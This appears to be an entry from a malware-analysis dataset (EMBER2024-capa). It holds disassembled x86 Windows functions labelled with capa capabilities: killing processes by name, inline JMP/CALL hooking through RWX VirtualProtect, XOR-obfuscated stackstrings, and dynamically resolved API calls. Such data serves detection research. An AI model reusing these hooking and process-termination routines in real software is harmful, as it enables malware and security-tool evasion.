joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100125f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1007e00c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100126a2
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10012666
test dl, dl
je 0x10012662
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10012666
add ecx, 2
add eax, 2
test dl, dl
jne 0x10012646
xor eax, eax
jmp 0x1001266b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10012692
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001268e
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10012640
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10055e09
mov esp, ebp
pop ebp
ret

Function at 0x100126c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10078198
push 0x10055fbf
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007e00c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001275a
cmp edi, 0x1000
jbe 0x1001275a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001273f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10012730
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001275a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10012780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100781b8
push 0x10055fbf
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1007e00c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, dword [0x10084fe4]
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x10012852
mov eax, 0x10049080
cmp eax, 0x1000
jbe 0x10012852
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
push 0x14
call fcn.10056664
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call ebx
mov dword [esi], 0x10049080
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10012821
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x1001280e
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x1001283b
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10012828
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call ebx
jmp 0x10012852
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret

Function at 0x10012880
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100717a4]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x100128ad
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x10012890
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x10049880
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10012920
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100781d8
push 0x10055fbf
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007e00c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x100129ba
cmp edi, 0x1000
jbe 0x100129ba
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001299f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10012990
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100129ba
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret

Function at 0x100129e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x10012a4e
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.10056664
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10012a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10058e01
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [0x10087868]
test eax, eax
jne 0x10012c0d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x10072fb0]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x8028a553
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x28], 0x3816
mov byte [ebp - 0x26], 0x57
mov eax, dword [esi + 0x7f0]
test al, 1
jne 0x10012b2c
or eax, 1
mov dword [esi + 0x7f0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0xb97], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3c]
mov byte [ecx + esi + 0xb80], al
add ecx, 1
adc edx, 0
jne 0x10012b18
cmp ecx, 0x17
jb 0x10012b00
push 0x10064b80
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xb80]
mov ecx, edi
call fcn.100510e0
mov eax, dword [esi + 0x1208]
mov dword [ebp - 0x1c], 0x8c21a552
mov dword [ebp - 0x18], 0xfb791714
mov word [ebp - 0x14], 0xbb4b
mov byte [ebp - 0x12], 0x4d
test al, 1
jne 0x10012bac
or eax, 1
mov dword [esi + 0x1208], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x377b], 1
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x3770], al
add ecx, 1
adc edx, 0
jne 0x10012b98
cmp ecx, 0xb
jb 0x10012b80
push 0x10064bd0
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3770]
mov ecx, esi
call fcn.10051140
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012c06
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012c08
xor eax, eax
mov dword [0x10087868], eax
push 0
push 0
push dword [ebp - 0x40]
mov dword [0x1008568c], eax
push ebx
push 0
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10012c40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10058e91
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x10087828]
test eax, eax
jne 0x10012ded
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
mov dword [ebp - 0x20], 0x7407e7a6
mov dword [ebp - 0x1c], 0xc98a8543
mov dword [ebp - 0x18], 0x7f16f9a0
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xeb70
mov eax, dword [esi + 0x528]
test al, 1
jne 0x10012d0c
or eax, 1
mov dword [esi + 0x528], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x3022], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3014], al
add ecx, 1
adc edx, 0
jne 0x10012cf8
cmp ecx, 0xe
jb 0x10012ce0
push 0x10064c20
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3014]
mov ecx, edi
call fcn.10051020
mov eax, dword [esi + 0x9f0]
mov dword [ebp - 0x20], 0x583dc0b8
mov dword [ebp - 0x1c], 0x93bbae7f
mov dword [ebp - 0x18], 0x111fe58b
test al, 1
jne 0x10012d8c
or eax, 1
mov dword [esi + 0x9f0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x2f10], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2f04], al
add ecx, 1
adc edx, 0
jne 0x10012d78
cmp ecx, 0xc
jb 0x10012d60
push 0x10064c70
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2f04]
mov ecx, esi
call fcn.10051080
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012de6
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012de8
xor eax, eax
mov dword [0x10087828], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x1008435c], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10012e20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10058f21
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x1008782c]
test eax, eax
jne 0x10012fbd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x10072080]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x59
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xf38]
test al, 1
jne 0x10012edc
or eax, 1
mov dword [esi + 0xf38], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x11a5], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1194], al
add ecx, 1
adc edx, 0
jne 0x10012ec8
cmp ecx, 0x11
jb 0x10012eb0
push 0x10064cc0
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1194]
mov ecx, edi
call fcn.10050f60
mov eax, dword [esi + 0xdd0]
mov dword [ebp - 0x20], 0x8c59ac0e
mov dword [ebp - 0x1c], 0x4fd776a5
mov dword [ebp - 0x18], 0xc57b893d
test al, 1
jne 0x10012f5c
or eax, 1
mov dword [esi + 0xdd0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x4a8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x49c], al
add ecx, 1
adc edx, 0
jne 0x10012f48
cmp ecx, 0xc
jb 0x10012f30
push 0x10064d10
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x49c]
mov ecx, esi
call fcn.10050fc0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012fb6
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012fb8
xor eax, eax
mov dword [0x1008782c], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x100850f0], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x10012ff0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10058fb1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1008781c]
test eax, eax
jne 0x1001319d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x10072c20]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x83
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2514]
test al, 1
jne 0x100130bc
or eax, 1
mov dword [esi + 0x2514], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x199d], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x198c], al
add ecx, 1
adc edx, 0
jne 0x100130a8
cmp ecx, 0x11
jb 0x10013090
push 0x10064d60
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x198c]
mov ecx, edi
call fcn.10050ea0
mov eax, dword [esi + 0x2d04]
mov dword [ebp - 0x20], 0x665792d4
mov dword [ebp - 0x1c], 0xc97f52a3
mov dword [ebp - 0x18], 0x2f75b7e7
test al, 1
jne 0x1001313c
or eax, 1
mov dword [esi + 0x2d04], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2ff4], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2fe8], al
add ecx, 1
adc edx, 0
jne 0x10013128
cmp ecx, 0xc
jb 0x10013110
push 0x10064db0
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2fe8]
mov ecx, esi
call fcn.10050f00
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013196
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013198
xor eax, eax
mov dword [0x1008781c], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x10084fdc], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x100131e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10059041
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10087878]
test eax, eax
jne 0x1001337d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x100721d0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x7f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3310]
test al, 1
jne 0x1001329c
or eax, 1
mov dword [esi + 0x3310], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2375], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2364], al
add ecx, 1
adc edx, 0
jne 0x10013288
cmp ecx, 0x11
jb 0x10013270
push 0x10064e00
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2364]
mov ecx, edi
call fcn.10050de0
mov eax, dword [esi + 0x12ac]
mov dword [ebp - 0x20], 0xf04dba28
mov dword [ebp - 0x1c], 0x596d7ae5
mov dword [ebp - 0x18], 0xb96f9f1b
test al, 1
jne 0x1001331c
or eax, 1
mov dword [esi + 0x12ac], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2914], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2908], al
add ecx, 1
adc edx, 0
jne 0x10013308
cmp ecx, 0xc
jb 0x100132f0
push 0x10064e50
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2908]
mov ecx, esi
call fcn.10050e40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013376
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013378
xor eax, eax
mov dword [0x10087878], eax
push dword [ebp + 0x10]
mov dword [0x100847d4], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret
Function at 0x100133b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100590d1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1007e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10087824]
test eax, eax
jne 0x1001354d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1007eeec]
movaps xmm0, xmmword [0x100720b0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xdf
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x29a0]
test al, 1
jne 0x1001346c
or eax, 1
mov dword [esi + 0x29a0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x34d], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x33c], al
add ecx, 1
adc edx, 0
jne 0x10013458
cmp ecx, 0x11
jb 0x10013440
push 0x10064ea0
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x33c]
mov ecx, edi
call fcn.10050d20
mov eax, dword [esi + 0x5f8]
mov dword [ebp - 0x20], 0xc496e88
mov dword [ebp - 0x1c], 0x690982a9
mov dword [ebp - 0x18], 0x456b4bbb
test al, 1
jne 0x100134ec
or eax, 1
mov dword [esi + 0x5f8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x18c8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x18bc], al
add ecx, 1
adc edx, 0
jne 0x100134d8
cmp ecx, 0xc
jb 0x100134c0
push 0x10064ef0
call fcn.1005670d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x18bc]
mov ecx, esi
call fcn.10050d80
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013546
push 7
call fcn.10056664
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013548
xor eax, eax
mov dword [0x10087824], eax
push dword [ebp - 0x30]
mov dword [0x10083f54], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10055e09
mov esp, ebp
pop ebp
ret